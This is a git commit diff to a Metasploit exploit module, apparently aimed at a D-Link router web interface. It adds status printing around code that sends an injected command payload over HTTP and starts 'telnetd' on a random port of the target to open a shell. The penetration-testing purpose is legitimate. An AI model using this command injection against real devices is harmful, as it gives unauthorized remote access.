Make exploit more print friendly

bug/bundler_fix
jvazquez-r7 2013-08-07 10:21:14 -05:00
parent 32436973e4
commit 33ac0c5c3f
1 changed files with 3 additions and 1 deletions

View File

@ -80,6 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
end
cmd = "#{payload.encoded}; echo end"
print_status("#{rhost}:#{rport} - Sending exploit request...")
res = request(cmd)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
@ -99,11 +100,12 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit_telnet
telnetport = rand(65535)
vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")
cmd = "telnetd -p #{telnetport}"
#starting the telnetd gives no response
print_status("#{rhost}:#{rport} - Sending exploit request...")
request(cmd)
begin